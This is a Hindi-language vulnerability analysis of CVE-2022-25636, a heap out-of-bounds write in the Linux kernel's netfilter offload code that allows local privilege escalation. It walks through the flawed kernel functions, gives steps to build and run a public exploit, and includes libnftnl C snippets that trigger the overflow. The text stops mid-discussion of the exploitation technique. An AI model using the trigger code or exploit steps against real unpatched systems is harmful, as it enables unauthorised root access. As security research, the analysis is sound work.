
CVE-2022-25636 के लिए विस्तृत तकनीकी विश्लेषण और एक्सप्लॉइट राइट-अप — यह Linux कर्नेल की netfilter हीप ओवरफ्लो भेद्यता है, जो heap spraying और UAF के माध्यम से लोकल प्रिविलेज एस्केलेशन सक्षम करती है।
[toc]
भेद्यता संख्या: CVE-2022-25636
भेद्यता उत्पाद: linux kernel - netfilter
प्रभावित संस्करण: linux kernel 5.4 ~
भेद्यता खतरा: netfilter कर्नेल मॉड्यूल में हीप ओवरफ्लो लेखन मौजूद है, SYS_ADMIN होने पर विशेषाधिकार उन्नति संभव है।
भेद्यता netfilter कर्नेल मॉड्यूल में मौजूद है, भेद्यता कोड तीन ko फ़ाइलों में है।
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
सीधे qemu से शुरू करने पर समस्या है, ko लोड नहीं होते, vmware पर दो-मशीन संयुक्त डिबगिंग का उपयोग करें।
ubuntu 21.10 पर मैन्युअल रूप से कर्नेल बदला जा सकता है:
apt-get install linux-image-5.13.0-30-generic
फिर मूल कर्नेल हटाएँ, exp संकलित करें:
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
विशेषाधिकार उन्नति प्रभाव (सफलता दर 50% से कम):

भेद्यता फ़ंक्शन nft_fwd_dup_netdev_offload में है:
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];//बाहर जाना
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
flow->rule->action.entries (यह संरचना चर लंबाई की है) सेट करते समय हीप सीमा की जाँच नहीं की जाती है, जिससे एक पूर्णांक (4 या 5) और एक पॉइंटर बाहर लिखा जाता है।
फ़ंक्शन का उपयोग nft_flow_rule_create फ़ंक्शन में होता है:
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {//दिए गए rule की संख्या के अनुसार num_actions की गणना करता है
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// केवल NFT_OFFLOAD_F_ACTION चिह्नित को गिनता है
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);// num_actions संख्या के अनुसार स्थान आवंटित करता है (चर लंबाई संरचना)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
//ctx->num_actions 0 में आरंभ किया गया ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {// rule संख्या के अनुसार offload को कॉल करता है
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);// भेद्यता फ़ंक्शन को कॉल करता है
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
देखा जा सकता है कि nft_flow_rule_create फ़ंक्शन उपयोगकर्ता स्थान से दिए गए rule संरचना की संख्या के अनुसार flow संरचना आवंटित करता है और प्रक्रिया करता है। num_actions चर का उपयोग गणना के लिए किया जाता है, लेकिन गणना के दौरान केवल NFT_OFFLOAD_F_ACTION ध्वज चिह्नित rule की गणना की जाती है, और उस संख्या के अनुसार संबंधित आकार की संरचना आवंटित की जाती है। बाद में offload प्रक्रिया करते समय, num_actions का उपयोग लूप के लिए नहीं किया जाता है। बल्कि पहले की तरह rule संख्या की बार लूप चलाया जाता है, लेकिन यहाँ NFT_OFFLOAD_F_ACTION ध्वज की जाँच नहीं की जाती है। अर्थात, जब दिए गए rule में ऐसे rule होते हैं जिनमें NFT_OFFLOAD_F_ACTION ध्वज नहीं है, तो बाद में offload कॉल की संख्या पहले आवंटित flow->rule->action.entries संख्या से अधिक होती है। offload में भेद्यता फ़ंक्शन nft_fwd_dup_netdev_offload को कॉल किया जाता है, प्रत्येक कॉल में ctx->num_actions एक बढ़ता है, और ctx->num_actions 0 से आरंभ होता है, अंततः ctx->num_actions flow->rule->action.entries सरणी की सीमा से अधिक हो जाता है, जिससे बाहर लिखना होता है।
कुछ संरचनाएँ:
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* उपयोगकर्ता परिभाषित कार्रवाई कुकी */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
कॉल स्टैक:
संदर्भ लिंक: https://www.openwall.com/lists/oss-security/2022/02/21/2
यह ईमेल बताता है कि C भाषा के libmnl और libnftnl पुस्तकालयों का उपयोग करके netfilter का उपयोग कैसे करें। भेद्यता ट्रिगर करने का मुख्य बिंदु यह है कि जोड़े गए rule में NFT_OFFLOAD_F_ACTION ध्वज है या नहीं। केवल nftnl_expr_alloc("immediate"); से जोड़े गए rule में NFT_OFFLOAD_F_ACTION ध्वज होता है:
for(int i = 0; i < legit_writes; i++) {//इस प्रकार expr जोड़ने पर बाहर नहीं जाएगा
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
//इस प्रकार expr जोड़ने पर बाहर जाएगा
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
भेद्यता शोषण बहुत स्थिर नहीं है, लेकिन शोषण तकनीक बहुत उत्कृष्ट है। भेद्यता एक निश्चित ऑफ़सेट पर एक अनियंत्रित पॉइंटर लिखती है। व्यक्तिगत रूप से मानता हूँ कि शोषण की कठिनाई बहुत अधिक है। तकनीकी विधियों का संक्षेप में विश्लेषण करते हैं। भेद्यता कोड के अनुसार, प्रत्येक बार बाहर लिखने पर केवल एक पूर्णांक (id, स्थिर 4 या 5) और एक पॉइंटर (*dev) लिखा जाता है, जहाँ पॉइंटर struct net_device संरचना की ओर इंगित करता है। हम यहाँ केवल dev पॉइंटर पर ध्यान केंद्रित करते हैं:
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];//बाहर जाना
entry->id = id;
entry->dev = dev; //निश्चित ऑफ़सेट पर एक हीप पता लिखता है, dev struct net_device संरचना है
··· ···
}
struct flow_rule संरचना के बारे में, चूंकि यह एक चर लंबाई संरचना है, इसलिए यह जितनी सीमा तक आवंटित हो सकता है, वह शोषण की संभावना को प्रभावित करता है (सफलता):